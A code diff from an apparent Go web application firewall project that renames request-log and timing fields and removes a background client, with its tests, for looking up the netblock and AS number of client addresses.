// it. BytesLimitPercent and BytesLimitPercentSetting are the same for the
|
||||
// byte limits.
|
||||
RateLimitPercent *int64 `json:"rate_limit_percent,omitempty"`
|
||||
RateLimitPercentSetting string `json:"rate_limit_percent_setting,omitempty"`
|
||||
BytesLimitPercent *int64 `json:"bytes_limit_percent,omitempty"`
|
||||
BytesLimitPercentSetting string `json:"bytes_limit_percent_setting,omitempty"`
|
||||
// LimitPercent and LimitPercentSetting are, for a request the rate
|
||||
// limits counted whose client a biased threshold gives a percentage of
|
||||
// the rate limits below 100, that percentage and the setting that gave
|
||||
// it. BytesPercent and BytesPercentSetting are the same for the byte
|
||||
// limits.
|
||||
LimitPercent *int64 `json:"limit_percent,omitempty"`
|
||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||
BytesPercent *int64 `json:"bytes_percent,omitempty"`
|
||||
BytesPercentSetting string `json:"bytes_percent_setting,omitempty"`
|
||||
// Counts are, for a request the rate limits counted, the client's
|
||||
// requests as they counted them with this one, and its bytes as the
|
||||
// byte limits counted them, with this request's once it has ended if
|
||||
@@ -171,42 +147,36 @@ type Line struct {
|
||||
Counts ratelimit.Counts `json:"counts,omitzero"`
|
||||
// RuleIDs are the ids of the rule file rules the request matched.
|
||||
RuleIDs []string `json:"rule_ids,omitempty"`
|
||||
// CoreRuleSetRuleIDs are the ids of the Core Rule Set's rules the request
|
||||
// matched, and CoreRuleSetScore its anomaly score, nil for a request the
|
||||
// Core Rule Set did not inspect.
|
||||
CoreRuleSetRuleIDs []int `json:"core_rule_set_rule_ids,omitempty"`
|
||||
CoreRuleSetScore *int `json:"core_rule_set_score,omitempty"`
|
||||
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
|
||||
// matched, and WAFScore its anomaly score, nil for a request the Core
|
||||
// Rule Set did not inspect.
|
||||
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
|
||||
WAFScore *int `json:"waf_score,omitempty"`
|
||||
// LimitHit is the window whose limit the request went over, named as
|
||||
// Counts names its count: minute, hour or day for a rate limit, and
|
||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
||||
// LimitHitMinuteRefusals for the error burst.
|
||||
// LimitHitErrorBurst for the error burst.
|
||||
LimitHit string `json:"limit_hit,omitempty"`
|
||||
// Reputation are the URLs of the blocklists that list the client, then
|
||||
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
||||
// whose verdict lists it, their keys masked, then abuseipdb when its
|
||||
// score is a hit.
|
||||
Reputation []string `json:"reputation,omitempty"`
|
||||
// Tags are the request's tags, sorted.
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
|
||||
// request got no tags from routewatch: no_answer_yet, request_failed or
|
||||
// no_route.
|
||||
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
||||
// Offence is the offence the request was held as, OffenceLimit.
|
||||
Offence string `json:"offence,omitempty"`
|
||||
// BanExpires is when the ban the request made, or was refused under,
|
||||
// ends: a time, or "permanent".
|
||||
BanExpires string `json:"ban_expires,omitempty"`
|
||||
|
||||
// The timings. DurationChecksMS is the time until the checks were done, and
|
||||
// DurationCoreRuleSetMS the part of it the Core Rule Set took.
|
||||
// DurationUpstreamTotalMS is what the report of an allowed request gives,
|
||||
// The timings, in milliseconds. DurationChecks is the time until the
|
||||
// checks were done, and DurationWAF the part of it the Core Rule Set
|
||||
// took. DurationUpstreamTotal is what the report of an allowed request gives,
|
||||
// from the hand-over to the app until the end of its answer. Each but
|
||||
// DurationTotalMS is nil for a request that did not get that far.
|
||||
DurationTotalMS float64 `json:"duration_total_ms"`
|
||||
DurationChecksMS *float64 `json:"duration_checks_ms,omitempty"`
|
||||
DurationCoreRuleSetMS *float64 `json:"duration_core_rule_set_ms,omitempty"`
|
||||
DurationUpstreamTotalMS *float64 `json:"duration_upstream_total_ms,omitempty"`
|
||||
// DurationTotal is nil for a request that did not get that far.
|
||||
DurationTotal float64 `json:"duration_total"`
|
||||
DurationChecks *float64 `json:"duration_checks,omitempty"`
|
||||
DurationWAF *float64 `json:"duration_waf,omitempty"`
|
||||
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
|
||||
}
|
||||
|
||||
// RProxyLine is rproxy's short line in the request log about one request. The
|
||||
@@ -226,12 +196,12 @@ type RProxyLine struct {
|
||||
Status int `json:"status"`
|
||||
RequestBytes int64 `json:"request_bytes"`
|
||||
ResponseBytes int64 `json:"response_bytes"`
|
||||
// DurationRequestMS runs from the request's headers being read until the app
|
||||
// has been sent the whole request, or the answer has started if that is
|
||||
// sooner. DurationResponseMS runs from then until the answer ends.
|
||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||
// Disposition is the valid disposition discriminator answered or, while
|
||||
// DurationRequest runs in milliseconds from the request's headers being read
|
||||
// until the app has been sent the whole request, or the answer has started
|
||||
// if that is sooner. DurationResponse runs from then until the answer ends.
|
||||
DurationRequest float64 `json:"duration_request"`
|
||||
DurationResponse float64 `json:"duration_response"`
|
||||
// Disposition is the valid disposition servewaf answered or, while
|
||||
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
||||
// when neither gave one.
|
||||
Disposition string `json:"disposition,omitempty"`
|
||||
@@ -275,37 +245,25 @@ func FormatTime(t time.Time) string {
|
||||
|
||||
// Milliseconds is d in milliseconds, to the microsecond.
|
||||
func Milliseconds(d time.Duration) float64 {
|
||||
return float64(
|
||||
d.Microseconds(),
|
||||
) / float64(
|
||||
time.Millisecond/time.Microsecond,
|
||||
)
|
||||
return float64(d.Microseconds()) / float64(time.Millisecond/time.Microsecond)
|
||||
}
|
||||
|
||||
// NewProcessLogger returns the logger for the process's own messages:
|
||||
// JSON lines on w, marked "type":"process", with the time in the same form
|
||||
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
|
||||
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
|
||||
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
|
||||
// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe;
|
||||
// the request lines Write writes are never held back.
|
||||
func NewProcessLogger(
|
||||
w io.Writer,
|
||||
instanceName string,
|
||||
level slog.Level,
|
||||
) *slog.Logger {
|
||||
func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger {
|
||||
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
|
||||
Level: level,
|
||||
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
|
||||
if attr.Key == slog.TimeKey && len(groups) == 0 {
|
||||
return slog.String(
|
||||
slog.TimeKey,
|
||||
FormatTime(attr.Value.Time()),
|
||||
)
|
||||
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
|
||||
}
|
||||
|
||||
return attr
|
||||
},
|
||||
})
|
||||
|
||||
return slog.New(handler).
|
||||
With("type", "process", "instance", instanceName)
|
||||
return slog.New(handler).With("type", "process", "instance", instanceName)
|
||||
}
|
||||
@@ -22,7 +22,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
||||
ClientIP: "203.0.113.9",
|
||||
Status: 200,
|
||||
Action: requestlog.ActionForward,
|
||||
DurationTotalMS: requestlog.Milliseconds(1500 * time.Microsecond),
|
||||
DurationTotal: requestlog.Milliseconds(1500 * time.Microsecond),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
@@ -43,7 +43,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
||||
want := map[string]any{
|
||||
"type": "request", "time": "2026-10-03T12:00:00.000Z",
|
||||
"client_ip": "203.0.113.9", "status": 200.0, "action": "forward",
|
||||
"duration_total_ms": 1.5,
|
||||
"duration_total": 1.5,
|
||||
}
|
||||
for name, value := range want {
|
||||
if fields[name] != value {
|
||||
@@ -55,9 +55,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
||||
"forwarded_for", "content_type", "content_length", "request_headers",
|
||||
"has_authorization", "has_cookie", "websocket", "response_content_type",
|
||||
"upstream_status", "cache_control", "location", "aborted", "counts",
|
||||
"limit_hit", "offence", "ban_expires", "duration_checks_ms",
|
||||
"limit_hit", "offence", "ban_expires", "duration_checks",
|
||||
"duration_upstream_connect", "duration_upstream_first_byte",
|
||||
"duration_upstream_total_ms",
|
||||
"duration_upstream_total",
|
||||
}
|
||||
for _, name := range unset {
|
||||
_, present := fields[name]
|
||||
@@ -82,7 +82,7 @@ func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
||||
|
||||
const want = `{"type":"request","time":"","request_id":"an-id","client_ip":"",` +
|
||||
`"host":"","method":"","path":"","query":"","status":0,"request_bytes":0,` +
|
||||
`"response_bytes":0,"duration_request_ms":0,"duration_response_ms":0,` +
|
||||
`"response_bytes":0,"duration_request":0,"duration_response":0,` +
|
||||
`"disposition":"allow"}` + "\n"
|
||||
if out.String() != want {
|
||||
t.Errorf("wrote %s, want %s", out.String(), want)
|
||||
@@ -94,7 +94,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
|
||||
requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting",
|
||||
"version", "v1")
|
||||
|
||||
var fields map[string]any
|
||||
@@ -104,7 +104,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
||||
t.Fatalf("decode %q: %v", out.String(), err)
|
||||
}
|
||||
|
||||
if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
|
||||
if fields["type"] != "process" || fields["instance"] != "fsn1app1/gitea" ||
|
||||
fields["msg"] != "starting" || fields["level"] != "INFO" ||
|
||||
fields["version"] != "v1" {
|
||||
t.Errorf("process line %v", fields)
|
||||
@@ -133,7 +133,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
|
||||
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level)
|
||||
for _, at := range levels {
|
||||
processLog.Log(t.Context(), at, "message")
|
||||
}
|
||||
|
||||
@@ -1,243 +0,0 @@
|
||||
// Package routewatch asks a routewatch instance about client addresses, in the
|
||||
// background, and keeps its answers in memory. A routewatch instance knows, for
|
||||
// an address, the netblock it is announced in and the AS that originates it.
|
||||
package routewatch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||
)
|
||||
|
||||
const (
|
||||
// answerKept is how long an answer is used after it came.
|
||||
answerKept = time.Hour
|
||||
// failureKept is how long routewatch is not asked again after a query
|
||||
// fails, so that a dead routewatch is not asked on every request.
|
||||
failureKept = time.Minute
|
||||
// queryTimeout is how long one query may take. routewatch answers only
|
||||
// after a reverse DNS lookup it allows 2 seconds, so this is longer.
|
||||
queryTimeout = 5 * time.Second
|
||||
// maxAnswers is how many answers are kept. Past it, the one that came
|
||||
// longest ago is dropped.
|
||||
maxAnswers = 100000
|
||||
// maxQueries is how many queries may be under way at once. Past it, a
|
||||
// client is not asked about until its next request, so that a swarm of
|
||||
// new addresses cannot fill the memory.
|
||||
maxQueries = 100
|
||||
// maxAnswerBytes is the most of an answer that is read.
|
||||
maxAnswerBytes = 64 << 10
|
||||
)
|
||||
|
||||
// Missing is why Route gives no route. The request log's field
|
||||
// routewatch_tags_missing gives these values.
|
||||
type Missing string
|
||||
|
||||
const (
|
||||
// NoAnswerYet is a client routewatch has not answered about yet.
|
||||
NoAnswerYet Missing = "no_answer_yet"
|
||||
// RequestFailed is no answer because a recent query failed.
|
||||
RequestFailed Missing = "request_failed"
|
||||
// NoRoute is routewatch knowing no live route for the address.
|
||||
NoRoute Missing = "no_route"
|
||||
)
|
||||
|
||||
var (
|
||||
errStatus = errors.New("routewatch answered")
|
||||
errNoResult = errors.New("the answer holds no result")
|
||||
errNotNetblock = errors.New("the answer's netblock is not a netblock")
|
||||
)
|
||||
|
||||
// Route is what routewatch knows of an address: the netblock it is announced
|
||||
// in, and the AS that originates it.
|
||||
type Route struct {
|
||||
Netblock netip.Prefix
|
||||
ASN uint32
|
||||
}
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||
URL string
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
// ProcessLog receives the query that fails, and why.
|
||||
ProcessLog *slog.Logger
|
||||
}
|
||||
|
||||
// Client asks a routewatch instance about clients, in the background, and keeps
|
||||
// its answers. It is safe for concurrent use.
|
||||
type Client struct {
|
||||
params Params
|
||||
httpClient *http.Client
|
||||
|
||||
mu sync.Mutex
|
||||
// answers are by client. Each is added as it comes and never moved up,
|
||||
// so that the one that came longest ago is the first dropped.
|
||||
answers *simplelru.LRU[netip.Prefix, answer]
|
||||
// asking are the clients whose query is under way.
|
||||
asking map[netip.Prefix]bool
|
||||
// retryAt is when routewatch may be asked again after a query failed.
|
||||
retryAt time.Time
|
||||
}
|
||||
|
||||
// answer is one kept answer: the route, or why there is none, and when it came.
|
||||
type answer struct {
|
||||
route Route
|
||||
missing Missing
|
||||
came time.Time
|
||||
}
|
||||
|
||||
// New returns a Client with no answer yet.
|
||||
func New(params Params) *Client {
|
||||
answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
|
||||
if err != nil {
|
||||
panic(err) // NewLRU fails only for a size below one
|
||||
}
|
||||
|
||||
return &Client{
|
||||
params: params,
|
||||
httpClient: &http.Client{},
|
||||
answers: answers,
|
||||
asking: map[netip.Prefix]bool{},
|
||||
}
|
||||
}
|
||||
|
||||
// Route returns what routewatch answered about client, an IPv4 address or an
|
||||
// IPv6 group, or why it has no route. It never waits for a query. A client
|
||||
// without an answer is asked about in the background, by addr, the address its
|
||||
// request came from, unless its query is under way, a query failed less than
|
||||
// failureKept ago, or maxQueries are under way. ctx is the context of the
|
||||
// client's request, and a query goes on after the request ends.
|
||||
func (c *Client) Route(
|
||||
ctx context.Context, client netip.Prefix, addr netip.Addr,
|
||||
) (Route, Missing) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
now := c.params.Now()
|
||||
|
||||
kept, found := c.answers.Peek(client)
|
||||
if found && now.Sub(kept.came) < answerKept {
|
||||
return kept.route, kept.missing
|
||||
}
|
||||
|
||||
if now.Before(c.retryAt) {
|
||||
return Route{}, RequestFailed
|
||||
}
|
||||
|
||||
if !c.asking[client] && len(c.asking) < maxQueries {
|
||||
c.asking[client] = true
|
||||
|
||||
go c.ask(context.WithoutCancel(ctx), client, addr)
|
||||
}
|
||||
|
||||
return Route{}, NoAnswerYet
|
||||
}
|
||||
|
||||
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
||||
// query as no longer under way. A query that fails gives no answer, and
|
||||
// routewatch is not asked again for failureKept. Only the first failure of
|
||||
// those under way is logged.
|
||||
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
||||
route, missing, err := c.query(ctx, addr)
|
||||
now := c.params.Now()
|
||||
|
||||
c.mu.Lock()
|
||||
|
||||
delete(c.asking, client)
|
||||
|
||||
firstFailure := err != nil && !now.Before(c.retryAt)
|
||||
|
||||
if err == nil {
|
||||
c.answers.Add(client, answer{route: route, missing: missing, came: now})
|
||||
} else {
|
||||
c.retryAt = now.Add(failureKept)
|
||||
}
|
||||
|
||||
c.mu.Unlock()
|
||||
|
||||
if firstFailure {
|
||||
c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
||||
// that cannot be read, and none within queryTimeout, fail. A result with no
|
||||
// netblock is an address without a live route.
|
||||
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, error) {
|
||||
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
||||
defer cancel()
|
||||
|
||||
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
||||
if err != nil {
|
||||
return Route{}, "", fmt.Errorf("make the URL: %w", err)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
|
||||
if err != nil {
|
||||
return Route{}, "", fmt.Errorf("make the request: %w", err)
|
||||
}
|
||||
|
||||
req.Header.Set("Accept", "application/json")
|
||||
|
||||
res, err := c.httpClient.Do(req)
|
||||
if err != nil {
|
||||
// Do's error names the URL, which holds the client's address, which
|
||||
// is not to be logged: only what went wrong is kept.
|
||||
return Route{}, "", fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
||||
}
|
||||
|
||||
defer func() {
|
||||
_ = res.Body.Close()
|
||||
}()
|
||||
|
||||
if res.StatusCode != http.StatusOK {
|
||||
return Route{}, "", fmt.Errorf("%w %s", errStatus, res.Status)
|
||||
}
|
||||
|
||||
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
||||
}
|
||||
|
||||
// readAnswer reads routewatch's answer about one address.
|
||||
func readAnswer(body io.Reader) (Route, Missing, error) {
|
||||
var decoded struct {
|
||||
Data struct {
|
||||
Results []struct {
|
||||
Netblock string `json:"netblock"`
|
||||
ASN uint32 `json:"asn"`
|
||||
} `json:"results"`
|
||||
} `json:"data"`
|
||||
}
|
||||
|
||||
err := json.NewDecoder(body).Decode(&decoded)
|
||||
if err != nil {
|
||||
return Route{}, "", fmt.Errorf("read the answer: %w", err)
|
||||
}
|
||||
|
||||
if len(decoded.Data.Results) == 0 {
|
||||
return Route{}, "", errNoResult
|
||||
}
|
||||
|
||||
result := decoded.Data.Results[0]
|
||||
if result.Netblock == "" {
|
||||
return Route{}, NoRoute, nil
|
||||
}
|
||||
|
||||
netblock, err := netip.ParsePrefix(result.Netblock)
|
||||
if err != nil {
|
||||
return Route{}, "", fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
||||
}
|
||||
|
||||
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, "", nil
|
||||
}
|
||||
@@ -1,333 +0,0 @@
|
||||
package routewatch_test
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
||||
)
|
||||
|
||||
const (
|
||||
clientAddr = "192.0.2.1"
|
||||
routedAnswer = `{"status":"ok","data":{"results":[` +
|
||||
`{"ip":"192.0.2.1","netblock":"192.0.2.0/24","asn":64496}]}}`
|
||||
noRouteAnswer = `{"status":"ok","data":{"results":[{"ip":"192.0.2.1"}]}}`
|
||||
// slowAnswer is longer than routewatch allows a reverse DNS lookup.
|
||||
slowAnswer = 2500 * time.Millisecond
|
||||
// waitLimit is longer than the Client allows a query.
|
||||
waitLimit = 10 * time.Second
|
||||
)
|
||||
|
||||
// clock is a time the tests move by hand.
|
||||
type clock struct {
|
||||
mu sync.Mutex
|
||||
now time.Time
|
||||
}
|
||||
|
||||
func (c *clock) Now() time.Time {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
return c.now
|
||||
}
|
||||
|
||||
func (c *clock) advance(by time.Duration) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
c.now = c.now.Add(by)
|
||||
}
|
||||
|
||||
// fixture is a Client asking a stand-in for routewatch. queries counts what the
|
||||
// stand-in was asked, paths holds the last path it was asked for, and log holds
|
||||
// the process log.
|
||||
type fixture struct {
|
||||
t *testing.T
|
||||
server *httptest.Server
|
||||
client *routewatch.Client
|
||||
clk *clock
|
||||
queries *atomic.Int32
|
||||
path *atomic.Value
|
||||
log *syncBuffer
|
||||
}
|
||||
|
||||
// syncBuffer is a buffer the background queries can log to while a test reads it.
|
||||
type syncBuffer struct {
|
||||
mu sync.Mutex
|
||||
buf bytes.Buffer
|
||||
}
|
||||
|
||||
func (b *syncBuffer) Write(p []byte) (int, error) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
return b.buf.Write(p)
|
||||
}
|
||||
|
||||
func (b *syncBuffer) String() string {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
return b.buf.String()
|
||||
}
|
||||
|
||||
func newFixture(t *testing.T, standIn http.HandlerFunc) *fixture {
|
||||
t.Helper()
|
||||
|
||||
f := &fixture{
|
||||
t: t,
|
||||
clk: &clock{now: time.Date(2026, 11, 9, 0, 0, 0, 0, time.UTC)},
|
||||
queries: &atomic.Int32{},
|
||||
path: &atomic.Value{},
|
||||
log: &syncBuffer{},
|
||||
}
|
||||
|
||||
f.server = httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
f.queries.Add(1)
|
||||
f.path.Store(r.URL.Path)
|
||||
standIn(w, r)
|
||||
}))
|
||||
t.Cleanup(f.server.Close)
|
||||
|
||||
f.client = routewatch.New(routewatch.Params{
|
||||
URL: f.server.URL + "/", Now: f.clk.Now,
|
||||
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
||||
})
|
||||
|
||||
return f
|
||||
}
|
||||
|
||||
func answering(body string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte(body))
|
||||
}
|
||||
}
|
||||
|
||||
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
||||
addr := netip.MustParseAddr(clientAddr)
|
||||
client := netip.PrefixFrom(addr, addr.BitLen())
|
||||
|
||||
return f.client.Route(context.Background(), client, addr)
|
||||
}
|
||||
|
||||
// waitFor asks until the answer is why, or, while why is "", until there is a
|
||||
// route, and returns the route.
|
||||
func (f *fixture) waitFor(why routewatch.Missing) routewatch.Route {
|
||||
f.t.Helper()
|
||||
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
|
||||
for {
|
||||
route, missing := f.route()
|
||||
if missing == why {
|
||||
return route
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
f.t.Fatalf("still %q after %s, want %q", missing, waitLimit, why)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// wantFailureLoggedWithoutTheClient waits for the process log to name a failed
|
||||
// query, and checks that it does not name the client.
|
||||
func (f *fixture) wantFailureLoggedWithoutTheClient() {
|
||||
f.t.Helper()
|
||||
|
||||
// The failure is noted before it is logged.
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for !strings.Contains(f.log.String(), "asking routewatch failed") {
|
||||
if time.Now().After(deadline) {
|
||||
f.t.Fatalf("process log %q names no failure", f.log.String())
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
|
||||
if strings.Contains(f.log.String(), clientAddr) {
|
||||
f.t.Errorf("process log %q names the client", f.log.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, answering(routedAnswer))
|
||||
|
||||
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
||||
t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
|
||||
}
|
||||
|
||||
route := f.waitFor("")
|
||||
|
||||
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
||||
if route != want {
|
||||
t.Errorf("route %+v, want %+v", route, want)
|
||||
}
|
||||
|
||||
if got := f.path.Load(); got != "/api/v1/ip/"+clientAddr {
|
||||
t.Errorf("asked for path %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
time.Sleep(slowAnswer)
|
||||
|
||||
_, _ = w.Write([]byte(routedAnswer))
|
||||
})
|
||||
|
||||
f.route()
|
||||
|
||||
route := f.waitFor("")
|
||||
|
||||
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
||||
if route != want {
|
||||
t.Errorf("route %+v, want %+v", route, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAddressWithoutARouteIsKeptAsNoRoute(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, answering(noRouteAnswer))
|
||||
|
||||
f.route()
|
||||
f.waitFor(routewatch.NoRoute)
|
||||
|
||||
if got := f.queries.Load(); got != 1 {
|
||||
t.Errorf("%d queries, want 1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
tests := map[string]http.HandlerFunc{
|
||||
"500": func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
},
|
||||
"not JSON": answering("no"),
|
||||
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
||||
"bad netblock": answering(
|
||||
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
|
||||
}
|
||||
for name, standIn := range tests {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, standIn)
|
||||
|
||||
f.route()
|
||||
f.waitFor(routewatch.RequestFailed)
|
||||
f.wantFailureLoggedWithoutTheClient()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusedConnectionFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, answering(routedAnswer))
|
||||
|
||||
f.server.Close()
|
||||
|
||||
f.route()
|
||||
f.waitFor(routewatch.RequestFailed)
|
||||
f.wantFailureLoggedWithoutTheClient()
|
||||
}
|
||||
|
||||
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
})
|
||||
|
||||
f.route()
|
||||
f.waitFor(routewatch.RequestFailed)
|
||||
f.route()
|
||||
|
||||
if got := f.queries.Load(); got != 1 {
|
||||
t.Errorf("%d queries while the failure is kept, want 1", got)
|
||||
}
|
||||
|
||||
f.clk.advance(time.Minute)
|
||||
f.route()
|
||||
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for f.queries.Load() != 2 {
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
f := newFixture(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
<-r.Context().Done()
|
||||
})
|
||||
|
||||
start := time.Now()
|
||||
|
||||
f.route()
|
||||
|
||||
if elapsed := time.Since(start); elapsed > time.Second {
|
||||
t.Errorf("Route took %s while routewatch hangs", elapsed)
|
||||
}
|
||||
|
||||
f.waitFor(routewatch.RequestFailed)
|
||||
f.wantFailureLoggedWithoutTheClient()
|
||||
}
|
||||
|
||||
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
release := make(chan struct{})
|
||||
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
<-release
|
||||
|
||||
_, _ = w.Write([]byte(routedAnswer))
|
||||
})
|
||||
|
||||
for range 50 {
|
||||
f.route()
|
||||
}
|
||||
|
||||
close(release)
|
||||
f.waitFor("")
|
||||
|
||||
for range 50 {
|
||||
f.route()
|
||||
}
|
||||
|
||||
if got := f.queries.Load(); got != 1 {
|
||||
t.Errorf("%d queries for repeated requests, want 1", got)
|
||||
}
|
||||
|
||||
f.clk.advance(time.Hour)
|
||||
f.waitFor(routewatch.NoAnswerYet)
|
||||
f.waitFor("")
|
||||
|
||||
if got := f.queries.Load(); got != 2 {
|
||||
t.Errorf("%d queries after the answer expired, want 2", got)
|
||||
}
|
||||
}
|
||||
@@ -18,7 +18,7 @@ const (
|
||||
)
|
||||
|
||||
// peerAddress is the address of the request's TCP peer, normally traefik, without
|
||||
// any IPv6 zone, which discriminator refuses.
|
||||
// any IPv6 zone, which servewaf refuses.
|
||||
func peerAddress(r *http.Request) netip.Addr {
|
||||
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
|
||||
if err != nil {
|
||||
@@ -34,7 +34,7 @@ func peerAddress(r *http.Request) netip.Addr {
|
||||
// address outside them is the visitor; if every address in it is inside, the
|
||||
// leftmost is, and with no header, the peer. An entry that is not an address
|
||||
// ends the reading, since nothing to its left can be believed. The visitor's
|
||||
